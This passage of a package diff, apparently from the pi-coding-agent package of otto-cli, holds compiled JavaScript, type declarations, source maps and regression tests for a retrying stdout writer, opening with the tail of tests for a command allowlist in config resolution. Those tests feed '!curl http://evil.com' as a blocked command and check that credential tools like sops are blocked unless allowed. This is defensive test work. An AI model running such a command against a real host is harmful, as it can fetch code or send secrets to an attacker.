http://evil.com\");\n\t\tassert.equal(stderrChunks.length, 1);\n\n\t\tclearConfigValueCache();\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(stderrChunks.length, 2);\n\t});\n});\n\ndescribe(\"REGRESSION #666: non-default credential tool blocked with no override\", () => {\n\tafterEach(() => {\n\t\tsetAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES);\n\t\tclearConfigValueCache();\n\t});\n\n\tit(\"sops is blocked by default, then unblocked by setAllowedCommandPrefixes\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\t// Bug: sops is not in SAFE_COMMAND_PREFIXES, so it's blocked\n\t\tconst result = resolveConfigValue(\"!sops decrypt --output-type json secrets.enc.json\");\n\t\tassert.equal(result, undefined, \"sops is blocked by the hardcoded allowlist\");\n\t\tassert.ok(\n\t\t\tstderrChunks.some((line) => line.includes('Blocked disallowed command: \"sops\"')),\n\t\t\t\"should log a block message for sops\",\n\t\t);\n\n\t\tstderrChunks.length = 0;\n\t\tclearConfigValueCache();\n\n\t\t// Fix: override the allowlist to include sops\n\t\tsetAllowedCommandPrefixes([...SAFE_COMMAND_PREFIXES, \"sops\"]);\n\t\tresolveConfigValue(\"!sops decrypt --output-type json secrets.enc.json\");\n\n\t\tconst blockedAfterOverride = stderrChunks.some((line) =>\n\t\t\tline.includes(\"Blocked disallowed command\"),\n\t\t);\n\t\tassert.equal(blockedAfterOverride, false, \"sops must not be blocked after override\");\n\t});\n});\n\ndescribe(\"setAllowedCommandPrefixes — user override\", () => {\n\tafterEach(() => {\n\t\tsetAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES);\n\t\tclearConfigValueCache();\n\t});\n\n\tit(\"overrides built-in prefixes with custom list\", () => {\n\t\tsetAllowedCommandPrefixes([\"sops\", \"doppler\"]);\n\t\tassert.deepEqual([...getAllowedCommandPrefixes()], [\"sops\", \"doppler\"]);\n\t});\n\n\tit(\"custom prefix is allowed through to execution\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tsetAllowedCommandPrefixes([\"mycli\"]);\n\t\tresolveConfigValue(\"!mycli get-secret\");\n\t\tconst blocked = stderrChunks.some((line) => line.includes(\"Blocked disallowed command\"));\n\t\tassert.equal(blocked, false, \"mycli should not be blocked when in the custom allowlist\");\n\t});\n\n\tit(\"previously-allowed prefix is blocked after override\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tsetAllowedCommandPrefixes([\"sops\"]);\n\t\tconst result = resolveConfigValue(\"!pass show secret\");\n\t\tassert.equal(result, undefined);\n\t\tconst blocked = stderrChunks.some((line) => line.includes(\"Blocked disallowed command\"));\n\t\tassert.equal(blocked, true, \"pass should be blocked when not in the custom allowlist\");\n\t});\n\n\tit(\"clears cache when overriding prefixes\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!mycli get-secret\");\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"Blocked\")));\n\n\t\tstderrChunks.length = 0;\n\n\t\tsetAllowedCommandPrefixes([\"mycli\"]);\n\t\tresolveConfigValue(\"!mycli get-secret\");\n\t\tconst blocked = stderrChunks.some((line) => line.includes(\"Blocked\"));\n\t\tassert.equal(blocked, false, \"Should re-evaluate after allowlist change\");\n\t});\n});\n"]}

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.d.ts

@@ -0,0 +1,47 @@
+/**
+ * Backpressure-safe raw stdout writer for RPC mode.
+ *
+ * RPC mode streams a high volume of JSONL protocol output to its parent process
+ * over stdout. Under sustained load the underlying pipe can fill up and
+ * `process.stdout.write` (or its callback) reports a transient error such as
+ * `ENOBUFS`, `EAGAIN`, or `EWOULDBLOCK`. Previously these surfaced as an
+ * uncaught `write ENOBUFS` and crashed the process mid-turn.
+ *
+ * This module serializes writes through a single promise tail and retries the
+ * transient backpressure errors after a short delay, so protocol output is
+ * never dropped and the process survives backpressure. It also exposes a way to
+ * wait for the queue to drain (`waitForRawStdoutBackpressure`) and to flush all
+ * pending output during shutdown (`flushRawStdout`).
+ *
+ * Ported (reconstructed) from upstream earendil-works/pi commit ce0e801
+ * `fix(coding-agent): retry RPC stdout backpressure`. otto-cli has no
+ * `output-guard.ts` / stdout-takeover layer, so the logic lives here and writes
+ * directly to the provided writer (defaulting to `process.stdout`).
+ */
+/** A node-style writable: `write(chunk, cb)` where `cb(err)` reports completion. */
+export interface RawStdoutWriter {
+    write(chunk: string, callback: (error?: Error | null) => void): unknown;
+}
+/**
+ * Queue a write of `text` to raw stdout. Writes are serialized through a single
+ * promise chain and retried on transient backpressure errors. Returns
+ * immediately; callers that need to apply backpressure should subsequently
+ * `await waitForRawStdoutBackpressure()`.
+ */
+export declare function writeRawStdout(text: string): void;
+/**
+ * Wait until every write queued so far has been flushed to the underlying
+ * stream. Re-checks the tail in case more writes were queued while awaiting, so
+ * it resolves only when the queue is genuinely drained.
+ */
+export declare function waitForRawStdoutBackpressure(): Promise<void>;
+/** Drain all pending writes and flush the stream. Used on graceful shutdown. */
+export declare function flushRawStdout(): Promise<void>;
+/**
+ * Test-only: override the underlying writer and reset the queue. Returns a
+ * restore function. Not used in production.
+ */
+export declare function __setRawStdoutWriterForTests(next: RawStdoutWriter): () => void;
+/** Test-only: exercise the chunk writer directly (e.g. to assert rethrow behaviour). */
+export declare function __writeRawStdoutChunkForTests(text: string): Promise<void>;
+//# sourceMappingURL=raw-stdout.d.ts.map

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"raw-stdout.d.ts","sourceRoot":"","sources":["../../../src/modes/rpc/raw-stdout.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;GAmBG;AAIH,oFAAoF;AACpF,MAAM,WAAW,eAAe;IAC/B,KAAK,CAAC,KAAK,EAAE,MAAM,EAAE,QAAQ,EAAE,CAAC,KAAK,CAAC,EAAE,KAAK,GAAG,IAAI,KAAK,IAAI,GAAG,OAAO,CAAC;CACxE;AAoCD;;;;;GAKG;AACH,wBAAgB,cAAc,CAAC,IAAI,EAAE,MAAM,GAAG,IAAI,CAQjD;AAED;;;;GAIG;AACH,wBAAsB,4BAA4B,IAAI,OAAO,CAAC,IAAI,CAAC,CAQlE;AAED,gFAAgF;AAChF,wBAAsB,cAAc,IAAI,OAAO,CAAC,IAAI,CAAC,CAGpD;AAED;;;GAGG;AACH,wBAAgB,4BAA4B,CAAC,IAAI,EAAE,eAAe,GAAG,MAAM,IAAI,CAQ9E;AAED,wFAAwF;AACxF,wBAAgB,6BAA6B,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAEzE"}

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.js

@@ -0,0 +1,107 @@
+/**
+ * Backpressure-safe raw stdout writer for RPC mode.
+ *
+ * RPC mode streams a high volume of JSONL protocol output to its parent process
+ * over stdout. Under sustained load the underlying pipe can fill up and
+ * `process.stdout.write` (or its callback) reports a transient error such as
+ * `ENOBUFS`, `EAGAIN`, or `EWOULDBLOCK`. Previously these surfaced as an
+ * uncaught `write ENOBUFS` and crashed the process mid-turn.
+ *
+ * This module serializes writes through a single promise tail and retries the
+ * transient backpressure errors after a short delay, so protocol output is
+ * never dropped and the process survives backpressure. It also exposes a way to
+ * wait for the queue to drain (`waitForRawStdoutBackpressure`) and to flush all
+ * pending output during shutdown (`flushRawStdout`).
+ *
+ * Ported (reconstructed) from upstream earendil-works/pi commit ce0e801
+ * `fix(coding-agent): retry RPC stdout backpressure`. otto-cli has no
+ * `output-guard.ts` / stdout-takeover layer, so the logic lives here and writes
+ * directly to the provided writer (defaulting to `process.stdout`).
+ */
+const RAW_STDOUT_RETRY_DELAY_MS = 10;
+let writer = process.stdout;
+let rawStdoutWriteTail = Promise.resolve();
+/** Errors that indicate the OS write buffer is temporarily full and should be retried. */
+function isBackpressureError(error) {
+    const code = error.code;
+    return code === "ENOBUFS" || code === "EAGAIN" || code === "EWOULDBLOCK";
+}
+async function writeRawStdoutChunk(text) {
+    while (true) {
+        try {
+            await new Promise((resolve, reject) => {
+                try {
+                    writer.write(text, (error) => {
+                        if (error)
+                            reject(error);
+                        else
+                            resolve();
+                    });
+                }
+                catch (error) {
+                    reject(error instanceof Error ? error : new Error(String(error)));
+                }
+            });
+            return;
+        }
+        catch (error) {
+            const writeError = error instanceof Error ? error : new Error(String(error));
+            if (!isBackpressureError(writeError)) {
+                throw writeError;
+            }
+            await new Promise((resolve) => setTimeout(resolve, RAW_STDOUT_RETRY_DELAY_MS));
+        }
+    }
+}
+/**
+ * Queue a write of `text` to raw stdout. Writes are serialized through a single
+ * promise chain and retried on transient backpressure errors. Returns
+ * immediately; callers that need to apply backpressure should subsequently
+ * `await waitForRawStdoutBackpressure()`.
+ */
+export function writeRawStdout(text) {
+    if (text.length === 0) {
+        return;
+    }
+    rawStdoutWriteTail = rawStdoutWriteTail.then(() => writeRawStdoutChunk(text));
+    void rawStdoutWriteTail.catch(() => {
+        process.exit(1);
+    });
+}
+/**
+ * Wait until every write queued so far has been flushed to the underlying
+ * stream. Re-checks the tail in case more writes were queued while awaiting, so
+ * it resolves only when the queue is genuinely drained.
+ */
+export async function waitForRawStdoutBackpressure() {
+    while (true) {
+        const tail = rawStdoutWriteTail;
+        await tail;
+        if (tail === rawStdoutWriteTail) {
+            return;
+        }
+    }
+}
+/** Drain all pending writes and flush the stream. Used on graceful shutdown. */
+export async function flushRawStdout() {
+    await waitForRawStdoutBackpressure();
+    await writeRawStdoutChunk("");
+}
+/**
+ * Test-only: override the underlying writer and reset the queue. Returns a
+ * restore function. Not used in production.
+ */
+export function __setRawStdoutWriterForTests(next) {
+    const previous = writer;
+    writer = next;
+    rawStdoutWriteTail = Promise.resolve();
+    return () => {
+        writer = previous;
+        rawStdoutWriteTail = Promise.resolve();
+    };
+}
+/** Test-only: exercise the chunk writer directly (e.g. to assert rethrow behaviour). */
+export function __writeRawStdoutChunkForTests(text) {
+    return writeRawStdoutChunk(text);
+}
+//# sourceMappingURL=raw-stdout.js.map

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"raw-stdout.js","sourceRoot":"","sources":["../../../src/modes/rpc/raw-stdout.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;GAmBG;AAEH,MAAM,yBAAyB,GAAG,EAAE,CAAC;AAOrC,IAAI,MAAM,GAAoB,OAAO,CAAC,MAAM,CAAC;AAE7C,IAAI,kBAAkB,GAAkB,OAAO,CAAC,OAAO,EAAE,CAAC;AAE1D,0FAA0F;AAC1F,SAAS,mBAAmB,CAAC,KAAY;IACxC,MAAM,IAAI,GAAI,KAAoC,CAAC,IAAI,CAAC;IACxD,OAAO,IAAI,KAAK,SAAS,IAAI,IAAI,KAAK,QAAQ,IAAI,IAAI,KAAK,aAAa,CAAC;AAC1E,CAAC;AAED,KAAK,UAAU,mBAAmB,CAAC,IAAY;IAC9C,OAAO,IAAI,EAAE,CAAC;QACb,IAAI,CAAC;YACJ,MAAM,IAAI,OAAO,CAAO,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;gBAC3C,IAAI,CAAC;oBACJ,MAAM,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,KAAK,EAAE,EAAE;wBAC5B,IAAI,KAAK;4BAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;4BACpB,OAAO,EAAE,CAAC;oBAChB,CAAC,CAAC,CAAC;gBACJ,CAAC;gBAAC,OAAO,KAAK,EAAE,CAAC;oBAChB,MAAM,CAAC,KAAK,YAAY,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC;gBACnE,CAAC;YACF,CAAC,CAAC,CAAC;YACH,OAAO;QACR,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YAChB,MAAM,UAAU,GAAG,KAAK,YAAY,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC;YAC7E,IAAI,CAAC,mBAAmB,CAAC,UAAU,CAAC,EAAE,CAAC;gBACtC,MAAM,UAAU,CAAC;YAClB,CAAC;YACD,MAAM,IAAI,OAAO,CAAO,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,yBAAyB,CAAC,CAAC,CAAC;QACtF,CAAC;IACF,CAAC;AACF,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,cAAc,CAAC,IAAY;IAC1C,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACvB,OAAO;IACR,CAAC;IACD,kBAAkB,GAAG,kBAAkB,CAAC,IAAI,CAAC,GAAG,EAAE,CAAC,mBAAmB,CAAC,IAAI,CAAC,CAAC,CAAC;IAC9E,KAAK,kBAAkB,CAAC,KAAK,CAAC,GAAG,EAAE;QAClC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACjB,CAAC,CAAC,CAAC;AACJ,CAAC;AAED;;;;GAIG;AACH,MAAM,CAAC,KAAK,UAAU,4BAA4B;IACjD,OAAO,IAAI,EAAE,CAAC;QACb,MAAM,IAAI,GAAG,kBAAkB,CAAC;QAChC,MAAM,IAAI,CAAC;QACX,IAAI,IAAI,KAAK,kBAAkB,EAAE,CAAC;YACjC,OAAO;QACR,CAAC;IACF,CAAC;AACF,CAAC;AAED,gFAAgF;AAChF,MAAM,CAAC,KAAK,UAAU,cAAc;IACnC,MAAM,4BAA4B,EAAE,CAAC;IACrC,MAAM,mBAAmB,CAAC,EAAE,CAAC,CAAC;AAC/B,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,4BAA4B,CAAC,IAAqB;IACjE,MAAM,QAAQ,GAAG,MAAM,CAAC;IACxB,MAAM,GAAG,IAAI,CAAC;IACd,kBAAkB,GAAG,OAAO,CAAC,OAAO,EAAE,CAAC;IACvC,OAAO,GAAG,EAAE;QACX,MAAM,GAAG,QAAQ,CAAC;QAClB,kBAAkB,GAAG,OAAO,CAAC,OAAO,EAAE,CAAC;IACxC,CAAC,CAAC;AACH,CAAC;AAED,wFAAwF;AACxF,MAAM,UAAU,6BAA6B,CAAC,IAAY;IACzD,OAAO,mBAAmB,CAAC,IAAI,CAAC,CAAC;AAClC,CAAC","sourcesContent":["/**\n * Backpressure-safe raw stdout writer for RPC mode.\n *\n * RPC mode streams a high volume of JSONL protocol output to its parent process\n * over stdout. Under sustained load the underlying pipe can fill up and\n * `process.stdout.write` (or its callback) reports a transient error such as\n * `ENOBUFS`, `EAGAIN`, or `EWOULDBLOCK`. Previously these surfaced as an\n * uncaught `write ENOBUFS` and crashed the process mid-turn.\n *\n * This module serializes writes through a single promise tail and retries the\n * transient backpressure errors after a short delay, so protocol output is\n * never dropped and the process survives backpressure. It also exposes a way to\n * wait for the queue to drain (`waitForRawStdoutBackpressure`) and to flush all\n * pending output during shutdown (`flushRawStdout`).\n *\n * Ported (reconstructed) from upstream earendil-works/pi commit ce0e801\n * `fix(coding-agent): retry RPC stdout backpressure`. otto-cli has no\n * `output-guard.ts` / stdout-takeover layer, so the logic lives here and writes\n * directly to the provided writer (defaulting to `process.stdout`).\n */\n\nconst RAW_STDOUT_RETRY_DELAY_MS = 10;\n\n/** A node-style writable: `write(chunk, cb)` where `cb(err)` reports completion. */\nexport interface RawStdoutWriter {\n\twrite(chunk: string, callback: (error?: Error | null) => void): unknown;\n}\n\nlet writer: RawStdoutWriter = process.stdout;\n\nlet rawStdoutWriteTail: Promise<void> = Promise.resolve();\n\n/** Errors that indicate the OS write buffer is temporarily full and should be retried. */\nfunction isBackpressureError(error: Error): boolean {\n\tconst code = (error as Error & { code?: unknown }).code;\n\treturn code === \"ENOBUFS\" || code === \"EAGAIN\" || code === \"EWOULDBLOCK\";\n}\n\nasync function writeRawStdoutChunk(text: string): Promise<void> {\n\twhile (true) {\n\t\ttry {\n\t\t\tawait new Promise<void>((resolve, reject) => {\n\t\t\t\ttry {\n\t\t\t\t\twriter.write(text, (error) => {\n\t\t\t\t\t\tif (error) reject(error);\n\t\t\t\t\t\telse resolve();\n\t\t\t\t\t});\n\t\t\t\t} catch (error) {\n\t\t\t\t\treject(error instanceof Error ? error : new Error(String(error)));\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn;\n\t\t} catch (error) {\n\t\t\tconst writeError = error instanceof Error ? error : new Error(String(error));\n\t\t\tif (!isBackpressureError(writeError)) {\n\t\t\t\tthrow writeError;\n\t\t\t}\n\t\t\tawait new Promise<void>((resolve) => setTimeout(resolve, RAW_STDOUT_RETRY_DELAY_MS));\n\t\t}\n\t}\n}\n\n/**\n * Queue a write of `text` to raw stdout. Writes are serialized through a single\n * promise chain and retried on transient backpressure errors. Returns\n * immediately; callers that need to apply backpressure should subsequently\n * `await waitForRawStdoutBackpressure()`.\n */\nexport function writeRawStdout(text: string): void {\n\tif (text.length === 0) {\n\t\treturn;\n\t}\n\trawStdoutWriteTail = rawStdoutWriteTail.then(() => writeRawStdoutChunk(text));\n\tvoid rawStdoutWriteTail.catch(() => {\n\t\tprocess.exit(1);\n\t});\n}\n\n/**\n * Wait until every write queued so far has been flushed to the underlying\n * stream. Re-checks the tail in case more writes were queued while awaiting, so\n * it resolves only when the queue is genuinely drained.\n */\nexport async function waitForRawStdoutBackpressure(): Promise<void> {\n\twhile (true) {\n\t\tconst tail = rawStdoutWriteTail;\n\t\tawait tail;\n\t\tif (tail === rawStdoutWriteTail) {\n\t\t\treturn;\n\t\t}\n\t}\n}\n\n/** Drain all pending writes and flush the stream. Used on graceful shutdown. */\nexport async function flushRawStdout(): Promise<void> {\n\tawait waitForRawStdoutBackpressure();\n\tawait writeRawStdoutChunk(\"\");\n}\n\n/**\n * Test-only: override the underlying writer and reset the queue. Returns a\n * restore function. Not used in production.\n */\nexport function __setRawStdoutWriterForTests(next: RawStdoutWriter): () => void {\n\tconst previous = writer;\n\twriter = next;\n\trawStdoutWriteTail = Promise.resolve();\n\treturn () => {\n\t\twriter = previous;\n\t\trawStdoutWriteTail = Promise.resolve();\n\t};\n}\n\n/** Test-only: exercise the chunk writer directly (e.g. to assert rethrow behaviour). */\nexport function __writeRawStdoutChunkForTests(text: string): Promise<void> {\n\treturn writeRawStdoutChunk(text);\n}\n"]}

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.regression.test.d.ts

@@ -0,0 +1,19 @@
+/**
+ * Regression test for upstream ce0e801 — "retry RPC stdout backpressure" (#63).
+ *
+ * Bug: RPC mode wrote protocol output via a direct `process.stdout.write(...)`
+ * with no handling for transient pipe-backpressure errors. Under high-volume
+ * streaming the OS write buffer fills and the write reports `ENOBUFS` /
+ * `EAGAIN` / `EWOULDBLOCK`, which previously crashed the process with an
+ * uncaught `write ENOBUFS` and dropped queued protocol output.
+ *
+ * Fix: a serialized, retrying raw-stdout writer (`raw-stdout.ts`) that retries
+ * transient backpressure errors after a short delay, lets callers await the
+ * drain via `waitForRawStdoutBackpressure`, and flushes pending output on
+ * shutdown via `flushRawStdout`.
+ *
+ * Against the unfixed tree the `raw-stdout` module does not exist and the import
+ * fails, so this test FAILS before the fix and PASSES after.
+ */
+export {};
+//# sourceMappingURL=raw-stdout.regression.test.d.ts.map

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.regression.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"raw-stdout.regression.test.d.ts","sourceRoot":"","sources":["../../../src/modes/rpc/raw-stdout.regression.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG"}

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.regression.test.js

@@ -0,0 +1,121 @@
+/**
+ * Regression test for upstream ce0e801 — "retry RPC stdout backpressure" (#63).
+ *
+ * Bug: RPC mode wrote protocol output via a direct `process.stdout.write(...)`
+ * with no handling for transient pipe-backpressure errors. Under high-volume
+ * streaming the OS write buffer fills and the write reports `ENOBUFS` /
+ * `EAGAIN` / `EWOULDBLOCK`, which previously crashed the process with an
+ * uncaught `write ENOBUFS` and dropped queued protocol output.
+ *
+ * Fix: a serialized, retrying raw-stdout writer (`raw-stdout.ts`) that retries
+ * transient backpressure errors after a short delay, lets callers await the
+ * drain via `waitForRawStdoutBackpressure`, and flushes pending output on
+ * shutdown via `flushRawStdout`.
+ *
+ * Against the unfixed tree the `raw-stdout` module does not exist and the import
+ * fails, so this test FAILS before the fix and PASSES after.
+ */
+import { describe, it } from "node:test";
+import assert from "node:assert/strict";
+import { __setRawStdoutWriterForTests, __writeRawStdoutChunkForTests, flushRawStdout, waitForRawStdoutBackpressure, writeRawStdout, } from "./raw-stdout.js";
+/**
+ * A writer that fails the first `failures` write attempts with a transient
+ * backpressure error before succeeding, recording every chunk it accepts.
+ */
+function makeFlakyWriter(code, failures) {
+    const written = [];
+    let remaining = failures;
+    const writer = {
+        write(chunk, callback) {
+            if (chunk.length > 0 && remaining > 0) {
+                remaining -= 1;
+                const err = Object.assign(new Error(`write ${code}`), { code });
+                callback(err);
+                return false;
+            }
+            // Empty-string writes are flush markers (flushRawStdout) — don't record them.
+            if (chunk.length > 0) {
+                written.push(chunk);
+            }
+            callback();
+            return true;
+        },
+    };
+    return { writer, written, attemptsLeft: () => remaining };
+}
+describe("raw-stdout backpressure retry (ce0e801 / #63)", () => {
+    it("retries ENOBUFS and eventually flushes the chunk instead of crashing", async () => {
+        const flaky = makeFlakyWriter("ENOBUFS", 3);
+        const restore = __setRawStdoutWriterForTests(flaky.writer);
+        try {
+            writeRawStdout("hello\n");
+            await waitForRawStdoutBackpressure();
+            assert.deepEqual(flaky.written, ["hello\n"], "chunk must be written after retries");
+            assert.equal(flaky.attemptsLeft(), 0, "all transient failures must have been retried");
+        }
+        finally {
+            restore();
+        }
+    });
+    it("retries EAGAIN and EWOULDBLOCK the same way", async () => {
+        for (const code of ["EAGAIN", "EWOULDBLOCK"]) {
+            const flaky = makeFlakyWriter(code, 2);
+            const restore = __setRawStdoutWriterForTests(flaky.writer);
+            try {
+                writeRawStdout(`${code}-line\n`);
+                await waitForRawStdoutBackpressure();
+                assert.deepEqual(flaky.written, [`${code}-line\n`]);
+            }
+            finally {
+                restore();
+            }
+        }
+    });
+    it("preserves write order across multiple queued writes under backpressure", async () => {
+        const flaky = makeFlakyWriter("ENOBUFS", 2);
+        const restore = __setRawStdoutWriterForTests(flaky.writer);
+        try {
+            writeRawStdout("a\n");
+            writeRawStdout("b\n");
+            writeRawStdout("c\n");
+            await waitForRawStdoutBackpressure();
+            assert.deepEqual(flaky.written, ["a\n", "b\n", "c\n"]);
+        }
+        finally {
+            restore();
+        }
+    });
+    it("flushRawStdout drains queued output on shutdown", async () => {
+        const flaky = makeFlakyWriter("ENOBUFS", 1);
+        const restore = __setRawStdoutWriterForTests(flaky.writer);
+        try {
+            writeRawStdout("pending\n");
+            await flushRawStdout();
+            assert.deepEqual(flaky.written, ["pending\n"]);
+        }
+        finally {
+            restore();
+        }
+    });
+    it("rethrows non-backpressure errors instead of retrying forever", async () => {
+        // A fatal, non-transient error (e.g. an EPIPE-style code) must surface
+        // rather than being swallowed and retried in an infinite loop.
+        let attempts = 0;
+        const writer = {
+            write(_chunk, callback) {
+                attempts += 1;
+                callback(Object.assign(new Error("fatal"), { code: "EPIPE" }));
+                return false;
+            },
+        };
+        const restore = __setRawStdoutWriterForTests(writer);
+        try {
+            await assert.rejects(() => __writeRawStdoutChunkForTests("x\n"), /fatal/);
+            assert.equal(attempts, 1, "non-backpressure errors must not be retried");
+        }
+        finally {
+            restore();
+        }
+    });
+});
+//# sourceMappingURL=raw-stdout.regression.test.js.map

package/packages/pi-coding-agent/dist/modes/rpc/raw-stdout.regression.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"raw-stdout.regression.test.js","sourceRoot":"","sources":["../../../src/modes/rpc/raw-stdout.regression.test.ts"],"names":[],"mappings":"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